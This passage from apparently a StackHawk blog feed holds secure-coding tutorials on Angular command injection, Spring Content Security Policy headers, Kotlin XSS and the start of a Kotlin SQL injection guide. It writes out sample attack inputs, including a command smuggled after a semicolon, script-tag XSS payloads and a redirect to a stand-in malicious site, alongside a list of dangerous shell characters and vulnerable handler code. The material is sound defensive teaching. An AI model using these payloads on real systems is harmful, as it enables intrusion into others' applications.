file&amp;gt;.py&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That should start the API server on port 5000 by default. &lt;/p&gt;&lt;p&gt;And to start our Angular project, open another terminal and run the following command from your project folder: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng serve&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If everything goes according to plan, you should see something like:&lt;/p&gt;&lt;p&gt;Now you can open the Angular application from your browser. Let&amp;#39;s first see how the application behaves when we enter a legit input and then try to inject a command. So, when I enter the IP 8.8.8.8, the IP is passed to the API server, and the Python script executes the OS command &lt;i&gt;&lt;b&gt;ping -c 2 8.8.8.8 &lt;/b&gt;&lt;/i&gt;and sends back the response, which is displayed on the webpage. &lt;/p&gt;&lt;p&gt;Nothing critical so far. Now let&amp;#39;s see what happens if I enter &lt;i&gt;&lt;b&gt;8.8.8.8 ; pwd. &lt;/b&gt;&lt;/i&gt; &lt;/p&gt;&lt;p&gt;So this input executes the &lt;i&gt;&lt;b&gt;ping -c 2 8.8.8.8&lt;/b&gt;&lt;/i&gt;, the semicolon tells that there&amp;#39;s another command to execute and then the command &lt;i&gt;&lt;b&gt;pwd&lt;/b&gt;&lt;/i&gt; is executed. The output you&amp;#39;re seeing is the output of the &lt;i&gt;&lt;b&gt;pwd &lt;/b&gt;&lt;/i&gt;command, which displays the path to the current working directory. Now imagine that instead of this command, an attacker gave a command to delete all the files. Well, it could bring the API server and the web application down. &lt;/p&gt;&lt;p&gt;So this is how an attacker can craft malicious inputs to execute a command injection attack. &lt;/p&gt;&lt;h2&gt;Angular Command Injection: Prevention&lt;/h2&gt;&lt;p&gt;Command injection weakness exists when you don&amp;#39;t apply safety measures while using user input as a part of OS commands. But the good news is, you can fix it. Because you have complete control over your application, there are multiple ways you can prevent command injections. We&amp;#39;ll go through some of the most common ones that apply in general to every Angular application. &lt;/p&gt;&lt;h3&gt;Do You Need OS Commands?&lt;/h3&gt;&lt;p&gt;Command injection is not possible if you don&amp;#39;t use OS commands for your application. So the first question you need to ask yourself is whether you actually need it. You might need a particular function that the OS command provides, but do you need to run an OS command to get that result? Command injections have been here for ages. So, back-end framework developers have provided multiple functions that you can use as a substitute for the OS command itself. If you can replace the OS command with a library function or an API call, then command injection isn&amp;#39;t possible. &lt;/p&gt;&lt;h3&gt;Filter Dangerous Characters&lt;/h3&gt;&lt;p&gt;For command injections to work, the original command used by the application has to be executed, and then the next injected command is executed. As we saw in our example, we need a way to run two or more commands in a single run. And we use some special characters to do this. Some of the dangerous characters are: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&amp;amp; (ampersand)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;| (vertical slash)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;; (semicolon)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;` (backtick)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To prevent OS command injections, you can make a list of all such dangerous characters that shouldn&amp;#39;t be a part of a legit command. Then, add a filter to remove these characters before executing the command. &lt;/p&gt;&lt;p&gt;For instance, in our example, the input was &lt;i&gt;&lt;b&gt;8.8.8.8 ; pwd. &lt;/b&gt;&lt;/i&gt;The command for this input would be &lt;i&gt;&lt;b&gt;ping -c 2 8.8.8.8 ; pwd&lt;/b&gt;&lt;/i&gt;, which was a successful injection. But we have a dangerous character here. If we filter it out, the command would become &lt;i&gt;&lt;b&gt;ping -c 2 8.8.8.8 pwd &lt;/b&gt;&lt;/i&gt;and this would throw an error, therefore failing the injection. &lt;/p&gt;&lt;h3&gt;Use Allowlist&lt;/h3&gt;&lt;p&gt;If you are using only a limited number of OS commands, you can have a list of these commands stored. Then before executing the command, you can have a check whether the command being executed is a part of your allowlist. If it&amp;#39;s not, then don&amp;#39;t execute it. You can also use pattern matching to identify safe inputs to allow. For example, in our example, a legit input is when there&amp;#39;s only an IP address. So when the user input is given, you can check if it matches the pattern of an IP address. If it doesn&amp;#39;t, then don&amp;#39;t execute it. &lt;/p&gt;&lt;h3&gt;Principle of Least Privileges&lt;/h3&gt;&lt;p&gt;According to &lt;a href=&quot;https://us-cert.cisa.gov/bsi/articles/knowledge/principles/least-privilege&quot;&gt;&lt;u&gt;CISA&lt;/u&gt;&lt;/a&gt;, the &amp;quot;Principle of Least Privilege states that a subject should be given only those privileges needed for it to complete its task.&amp;quot; If you give your application limited privileges, then the injected commands would fail due to lack of permissions, therefore preventing successful command injections. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Angular is a front-end framework. Although command injections happen on the back end, Angular can pass these injections to the back end. We&amp;#39;ve discussed how command injections work in an Angular application and how they can be prevented. You can apply all the preventions at the back end, but that&amp;#39;s going to be very expensive on resources. Luckily, you can implement multiple prevention methods using Angular. Above we discussed some general prevention measures. But you shouldn&amp;#39;t stop there. For better security, you need to &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;evaluate custom scenarios for your application&lt;/u&gt;&lt;/a&gt; and implement security measures for them. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Omkar Hiremath. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/omkar-hiremath-6a1729159/?originalSubdomain=in&quot;&gt;&lt;u&gt;&lt;i&gt;Omkar&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a cybersecurity team lead who is enthusiastic about cybersecurity, ethical hacking, and Python. He is keenly interested in bug bounty hunting and vulnerability analysis.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The Content Security Policy (CSP) is a security standard that helps protect and mitigate content injection attacks such as cross-site scripting (XSS), clickjacking, and more. You can use it to protect your Spring web applications by enabling specific HTTP headers. These headers enable web browsers to prevent attackers from injecting malicious code into the input data of a form, including URL parameters, field values, and other components.&lt;/p&gt;&lt;p&gt;Cross-site scripting (XSS) is the most common type of content injection attack. It occurs when a website accepts user data without adequate validation, filtering, or sanitizing. Attackers may use users&amp;#39; input to execute harmful scripts. XSS attacks rely on flaws in web applications&amp;#39; capabilities to gain access to usernames, passwords, and sensitive information.&lt;/p&gt;&lt;p&gt;Every developer should know how to protect against XSS attacks, as they have become very common these days. In this post, I&amp;#39;ll explain how developers can configure &lt;b&gt;spring-security csp&lt;/b&gt; to configure the HTTP header in the Spring Boot application using Apache Maven build management system. But before jumping into the details of implementing CSP in Spring Security, let&amp;#39;s first understand some of the key concepts related to security.&lt;/p&gt;&lt;h2&gt;Content Security Policy&lt;/h2&gt;&lt;p&gt;As I said earlier, CSP is a security standard. The W3C introduced it to counter content injection attacks. In addition to using HTTP headers to prevent such attacks, CSP allows site owners to reduce risk exposure by declaring certain content types (e.g., scripts, stylesheets, and fonts) and data sources (e.g., external scripts) as disallowed for the page. It also offers more fine-grained control over where your web application loads resources from. For example, you can disallow inline JavaScript. If an attacker successfully injects some malicious script into the browser, CSP will block the injected scripts.&lt;/p&gt;&lt;p&gt;A policy is simply some configuration applied to&lt;a href=&quot;https://en.wikipedia.org/wiki/Spring_Security&quot;&gt; &lt;u&gt;Spring Security&lt;/u&gt;&lt;/a&gt; that will activate your web application when Spring has completed bootstrapping. Let&amp;#39;s first understand the same-origin policy that browsers apply by default.&lt;/p&gt;&lt;h2&gt;Same-Origin Policy&lt;/h2&gt;&lt;p&gt;We can define an origin as a combination of URI scheme, hostname, and port number. Let&amp;#39;s take the example of &lt;b&gt;http://example.com/folder/index.html&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;http://example.com&lt;/b&gt; is the host.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;/folder/index.html&lt;/b&gt; is the path.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Both &lt;b&gt;http://example.com/folder1/index.html&lt;/b&gt; and &lt;b&gt;http://example.com/folder2/index.html &lt;/b&gt;belong to the same origin, as they share the same domain or host. A browser doesn&amp;#39;t allow a resource from one origin to access data belonging to another origin without a special mechanism known as cross-origin resource sharing (CORS). By default, a browser applies the same-origin policy. When you load a resource from a website, it&amp;#39;s allowed to access only data from the same origin.&lt;/p&gt;&lt;h2&gt;Security Policy Directives&lt;/h2&gt;&lt;p&gt;A security policy directive is an instruction to the client web browser on handling content that originates from outside of the domain. Security policy directives enforce a set of rules to be followed by the client when downloading any content. These directives restrict what can be executed, loaded, and parsed to prevent various possible attacks by exploiting web browser vulnerabilities. CSP establishes a whitelist of trusted sources that refer to scripts, style sheets, fonts, or frames. Any content loaded by the browser must originate from one of those sources.&lt;/p&gt;&lt;h2&gt;How Does CSP Protect Against XSS?&lt;/h2&gt;&lt;p&gt;CSP enhances the browser&amp;#39;s built-in protection against XSS attacks by prescribing what resources the webpage may load and from where. For example, CSP can specify that the browser shouldn&amp;#39;t load any images or scripts from a different domain. The following policy will block the loading of all scripts from any other domain:&lt;/p&gt;&lt;p&gt;&lt;code&gt;script-src &amp;quot;self&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;How to Enable Spring Content Security Policy?&lt;/h2&gt;&lt;p&gt;The Spring framework provides a CSP implementation that your Spring Boot application can use. By default, Spring Security doesn&amp;#39;t have &lt;b&gt;spring-security csp&lt;/b&gt; enabled in Spring Boot, so we must explicitly enable it.&lt;/p&gt;&lt;p&gt;Luckily, it&amp;#39;s pretty simple to enable Spring Security&amp;#39;s CSP. All you need to do is add &lt;b&gt;spring-boot-starter-security&lt;/b&gt; to your dependencies in your &lt;b&gt;pom.xml&lt;/b&gt; and then configure Spring Security to use a configuration that enables CSP.&lt;/p&gt;&lt;p&gt;Many security configurations, including the annotations used as Spring Security filters to allow CSP support, are provided by &lt;b&gt;spring-boot-starter-security&lt;/b&gt; dependency. In addition, it requires &lt;b&gt;spring-security-web&lt;/b&gt; to add support for CSP via specific HTTP headers so that browsers can enforce these policies.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When the application calls the controller servlet, a Spring Security &lt;b&gt;CSPFilter&lt;/b&gt; object filters the content of the request. It checks the origin of the resource, type of resource, and other custom headers. The &lt;b&gt;spring-security-csp&lt;/b&gt; then sets the CSP headers based on the Spring Security configuration.&lt;/p&gt;&lt;p&gt;You can enable CSP in Spring by including any one of the following HTTP headers in the response:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Content-Security-Policy&lt;/b&gt;, which the browser uses for both blocking and reporting violations in loading a resource based on the policy directives&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Content-Security-Policy-Report-Only&lt;/b&gt;, which the browser usesfor reporting violations in loading a resource based on its policy directives. It&amp;#39;s used primarily for experimental purposes, as it only reports, but doesn&amp;#39;t block, violations.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The following are some of the important security policy directives:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;connect-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;font-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;img-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;media-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;object-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;plugin-types&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;frame-options&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;script-src&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To learn about each of these directives in detail, kindly refer to this&lt;a href=&quot;https://developers.google.com/web/fundamentals/security/csp#policy_applies_to_a_wide_variety_of_resources&quot;&gt; &lt;u&gt;article&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;You can define Spring Security configuration using a Spring Security XML configuration with &lt;b&gt;&amp;lt;content-security-policy&amp;gt;&lt;/b&gt; or a Java configuration class. Most developers nowadays prefer to use Java to create the policy, but I&amp;#39;ll show you both ways.&lt;/p&gt;&lt;h3&gt;Enabling Content Security Policy&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s now look into how we can enable Spring CSP using both the above methods.&lt;/p&gt;&lt;p&gt;Consider a scenario where we need to create a security policy to block all scripts not originating from our page or a trusted location, &lt;b&gt;https://javascripts.example.com&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;If the application attempts to load a script from a source different from the domains specified in the header, the browser will block it. In addition, the browser will send a violation report in the form of JSON data to a URI specified in the directive &lt;b&gt;report-uri&lt;/b&gt;. You can learn more about violation reports and their JSON structure for the reported data&lt;a href=&quot;https://www.w3.org/TR/CSP2/#violation-reports&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;XML&lt;/h4&gt;&lt;p&gt;You can enable the CSP header by using Spring Security XML configuration. To enable CSP, you need to add the &lt;b&gt;&amp;lt;content-security-policy&amp;gt;&lt;/b&gt; tag as in the code below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!-- ... --&amp;gt; 
&amp;lt;headers&amp;gt;
   &amp;lt;content-security-policy policy-directives=&amp;quot;script-src &amp;#39;self&amp;#39; 
       https://javascripts.example.com; report-uri /csp-report-endpoint/&amp;quot;/&amp;gt;
&amp;lt;/headers&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;script-src&lt;/b&gt; defines the valid sources of JavaScript, &lt;b&gt;self &lt;/b&gt;refers to the application&amp;#39;s domain, and &lt;b&gt;report-uri&lt;/b&gt; instructs the browser to POST reports of policy failures in the specified URI.&lt;/p&gt;&lt;h4&gt;Java&lt;/h4&gt;&lt;p&gt;To enable CSP using Java configuration, you first need to create a new class, &lt;b&gt;WebSecurityConfig&lt;/b&gt; (you can name it anything). It needs to be annotated using&lt;b&gt; @EnableWebSecurity&lt;/b&gt; and extend &lt;b&gt;WebSecurityConfigurerAdapter&lt;/b&gt; class.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;WebSecurityConfigurerAdapter&lt;/b&gt; class is a predefined class that contains many methods, but to configure CSP headers, we would need to override the &lt;b&gt;configure(HttpSecuirty http)&lt;/b&gt; method; this will override the default web security configuration. You can specify our additional policies directives within this method by calling special method &lt;b&gt;headers().contentSecurityPolicy()&lt;/b&gt; as in the code snippet below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
// ...
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  @Override
  protected void configure(HttpSecurity http) throws Exception {
    http.headers()
      .contentSecurityPolicy(&amp;quot;script-src &amp;#39;self&amp;#39; https://javascripts.example.com; report-uri /csp-report-endpoint/&amp;quot;);
  }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We learned how you might use CSP in Spring to prevent and address a variety of content injection attacks. Then, we went over XSS security vulnerabilities. We saw how an attacker might misuse such vulnerabilities to gain access to valuable information. Finally, we saw how to implement CSP using both the XML and Java settings. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tarun Telang. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/taruntelang/&quot;&gt;&lt;u&gt;&lt;i&gt;Tarun&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a software engineering leader with over 16 years of experience in the software industry with some of the world’s most renowned software development firms like Microsoft, Oracle, BlackBerry, and SAP. His areas of expertise include Java, web, mobile, and cloud. He’s also experienced in managing software projects using Agile and Test Driven Development methodologies.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;A Kotlin web application that is vulnerable to cross-site scripting, or XSS, has weak points through which users can inject JavaScript code. Such weak points exist in web applications that accept user input. For example, you can find these kinds of weak points in online forums that allow users to post comments. &lt;/p&gt;&lt;p&gt;XSS is a common web application security vulnerability. It can lead to some serious issues like the exposure of sensitive user data stored in cookies. &lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll take a look at some examples of Kotlin XSS attacks. In addition, we&amp;#39;ll look at how to prevent XSS attacks in Kotlin applications. &lt;/p&gt;&lt;p&gt;Before we continue, let&amp;#39;s take a closer look at what XSS is. &lt;/p&gt;&lt;h2&gt;What Is XSS?&lt;/h2&gt;&lt;p&gt;XSS stands for cross-site scripting. It&amp;#39;s a kind of web application security vulnerability that lets an attacker inject malicious JavaScript code into a website. The code is then executed when users load the affected pages on a web browser. &lt;/p&gt;&lt;p&gt;For example, the following URL accepts user input for the value of a search query: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/search?query=hot+dog&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here, the user is searching for &amp;quot;hot dog&amp;quot;. The search results page also displays a message with the search query. The following Kotlin code handles the display of the message: &lt;/p&gt;&lt;p&gt;&lt;code&gt;get(&amp;quot;/search&amp;quot;) {
&lt;/code&gt;   &lt;code&gt;val query = call.request.queryParameters[&amp;quot;query&amp;quot;]
&lt;/code&gt;   &lt;code&gt;call.respondText(&amp;quot;&amp;lt;p&amp;gt;Showing results for $query&amp;lt;/p&amp;gt;&amp;quot;, ContentType.Text.Html)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This code simply reads the value for the search query from the URL and displays it in the response HTML. However, the code is vulnerable to XSS attacks. An attacker can inject JavaScript to the page by manipulating the URL to the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/search?query=&amp;lt;script&amp;gt;alert(&amp;quot;Hehe!&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This new URL will cause the search results page to show a JavaScript alert with the message &amp;quot;Hehe!&amp;quot;.&lt;/p&gt;&lt;p&gt;With that, an attacker was able to inject JavaScript code into the search results page. Although the script only causes the page to show an alert, it is possible to run more malicious JavaScript code using the same trick. To learn more about XSS in general, check out our detailed blog post on the &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;topic here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now that you have a better understanding of what XSS is, let&amp;#39;s take a look at some examples of XSS in a Kotlin application. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;: For all our examples, we&amp;#39;ll be referring to a Kotlin application powered by &lt;a href=&quot;https://ktor.io/&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Ktor is a Kotlin framework for building web applications and HTTP services. It provides an easy way to write and run code during the development phase using IntelliJ IDEA. &lt;/p&gt;&lt;h2&gt;1. Rendering Data From URL Query String&lt;/h2&gt;&lt;p&gt;A query string is the part of a link or URL that follows the first &lt;b&gt;?&lt;/b&gt; sign. For example, in the link &lt;b&gt;https://www.google.com/search?q=ktor&amp;amp;oq=ktor&lt;/b&gt;, the query string is included in &lt;b&gt;?q=ktor&amp;amp;oq=ktor&lt;/b&gt;. Also, the query string for the URL contains two parameters, &lt;b&gt;q&lt;/b&gt; and &lt;b&gt;oq&lt;/b&gt;, with both parameters having their values set to &lt;b&gt;ktor&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;A query string is very important in &lt;b&gt;GET&lt;/b&gt; requests. For example, it makes sharing links to a specific part of a website possible. However, it can also enable XSS attacks. In this example, we&amp;#39;ll see how displaying data from a query parameter can lead to an XSS attack. &lt;/p&gt;&lt;p&gt;The following is a URL to a specific item on an e-commerce website: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/store?item=rice+cooker&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The web page displays the value for &lt;b&gt;item&lt;/b&gt; in its HTML. As a result, an attacker may generate a malicious version of the URL and send it to an unsuspecting victim. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/store?item=&amp;lt;script&amp;gt;window.location=&amp;quot;https://notsafewebsite.com&amp;quot;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This version of the URL will redirect the user from the e-commerce website to notsafewebsite.com thanks to the JavaScript code that has been injected. &lt;/p&gt;&lt;h3&gt;Prevention&lt;/h3&gt;&lt;p&gt;In order to prevent this type of XSS attack, you should avoid rendering values from query strings without proper sanitization. With the help of sanitization, you can check and filter user input before using them in your code. &lt;/p&gt;&lt;p&gt;Here is a small piece of code that can prevent the attack in this example. &lt;/p&gt;&lt;p&gt;&lt;code&gt;get(&amp;quot;/search&amp;quot;) {
&lt;/code&gt;   &lt;code&gt;val query = call.request.queryParameters[&amp;quot;query&amp;quot;]
&lt;/code&gt;   &lt;code&gt;val regEx = Regex(&amp;quot;[^A-Za-z0-9 ]&amp;quot;)
&lt;/code&gt;   &lt;code&gt;val searchKeyWord = regEx.replace(query!!, &amp;quot;&amp;quot;)
&lt;/code&gt;   &lt;code&gt;call.respondText(&amp;quot;&amp;lt;p&amp;gt;Showing results for $searchKeyWord&amp;lt;/p&amp;gt;&amp;quot;, ContentType.Text.Html)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This code uses a regular expression to check if the search query contains only alphanumeric values. Then it removes any special characters present in the value. &lt;/p&gt;&lt;h2&gt;2. Persistent User-Generated Content&lt;/h2&gt;&lt;p&gt;Here the attacker injects malicious JavaScript code via a feature like a comment box on a blog. The code is stored in a database like MySQL and runs every time a user loads the page with the comment. &lt;/p&gt;&lt;p&gt;So let&amp;#39;s consider an example blog post that a Kotlin back-end application powers via &lt;b&gt;https://example.com/blog?post=112&lt;/b&gt;. Then a malicious user drops a comment with the following post request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;body: {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;post&amp;quot;: 112,&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;comment_by&amp;quot;: &amp;quot;John Doe&amp;quot;,&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;message&amp;quot;: &amp;quot;&amp;lt;script&amp;gt;alert(&amp;quot;Hehe!! You have been hacked!!!&amp;quot;)&amp;lt;/script&amp;gt;&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This request will save the value for &lt;b&gt;message&lt;/b&gt; to the database using &lt;b&gt;112&lt;/b&gt; as a key for connecting the comment to a blog post. Once any user visits the page for blog post &lt;b&gt;112&lt;/b&gt;, the comment is loaded. As a result, the JavaScript code is also executed. &lt;/p&gt;&lt;p&gt;With this type of XSS attack, an attacker can target multiple users with a single comment. Since the malicious code is stored in a database, they only have to write it once for it to be executed multiple times for all users. &lt;/p&gt;&lt;h3&gt;Prevention&lt;/h3&gt;&lt;p&gt;In order to prevent this type of XSS attack, you should validate user input before storing it in the database. As a second layer of security, you should also sanitize user input after retrieving it from the database. Doing so will help prevent an attack should an attacker manage to bypass the initial validation.&lt;/p&gt;&lt;p&gt;Another effective way to bypass this type of attack is to use a templating plugin like &lt;a href=&quot;https://freemarker.apache.org/&quot;&gt;&lt;u&gt;FreeMarker&lt;/u&gt;&lt;/a&gt; to render HTML in a Kotlin application. FreeMarker is a template engine for Java. It makes it easy to build dynamic HTML by allowing seamless inclusion of Kotlin variables and expressions in HTML code. Here is a small piece of FreeMarker HTML code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;Showing results for ${query}&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;/body&amp;gt; &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The final fix we&amp;#39;ll be considering for this example is the use of Ktor&amp;#39;s respondText() method without setting the content type parameter to HTML. This will cause &lt;a href=&quot;https://www.stackhawk.com/blog/ktor-http-response-and-header-test-helpers/&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt; to render all content of a string as plain text. Take a look at the following string: &lt;/p&gt;&lt;p&gt;&lt;code&gt;val message = &amp;lt;strong&amp;gt;Hello world! Nice to meet you!!&amp;lt;/strong&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It will render the following output: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;strong&amp;gt;Hello world! Nice to meet you!!&amp;lt;/strong&amp;gt; &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Attempting to display the same string with content type set to HTML will display a bold text that reads &lt;b&gt;Hello world! Nice to meet you!!&lt;/b&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Summing Up&lt;/h2&gt;&lt;p&gt;XSS attacks are common. You should always test your applications for XSS before pushing them to production. &lt;/p&gt;&lt;p&gt;From our two examples in this post, a hacker can target users of your application using two methods. The first requires the attacker to inject malicious JavaScript code using a URL. Then the attacker can share the dangerous link via email or on social media for unsuspecting users to click on. In the second example, the data persistence capability of a web application is the weak point. As a result, all users who visit a page that loads the malicious code from the database will be affected. &lt;/p&gt;&lt;p&gt;Validation and sanitization of user input can reduce the risk of attacks in both examples. In addition, using a template engine can go a long way in preventing attacks. Never trust users to provide valid inputs all the time. Some users may supply values that will break your application intentionally. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;SQL, or in full, &lt;b&gt;Structured Query Language&lt;/b&gt;, are sets of instructions (queries) that developers can use to interact with databases. Databases can be SQL or NoSQL, and the latter may or may not support SQL-like queries. Examples of SQL databases include MySQL, Oracle, PostgreSQL, and Microsoft SQL Server. &lt;/p&gt;&lt;p&gt;SQL queries for reading or manipulating data look very similar to plain English. For example, the query &lt;b&gt;SELECT * FROM users&lt;/b&gt; means, SQL should fetch data from the &lt;b&gt;users&lt;/b&gt; table. The symbol &lt;b&gt;*&lt;/b&gt; in the query means select all columns. &lt;/p&gt;&lt;p&gt;SQL is a very powerful tool for developers and database administrators. But, in the wrong hands, that power can cause great harm. For example, &lt;b&gt;SQL injection&lt;/b&gt; is one type of exploit that malicious persons can use to do harm. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn about SQL injection and see some examples of Kotlin SQL injection. In addition to that, I&amp;#39;ll guide you through some methods to prevent Kotlin SQL injection. &lt;/p&gt;&lt;h2&gt;What Is SQL Injection?&lt;/h2&gt;&lt;p&gt;In simple terms, SQL injection is a security vulnerability that enables malicious actors to alter database queries. It can lead to unauthorized access to sensitive user and application data stored in the database. 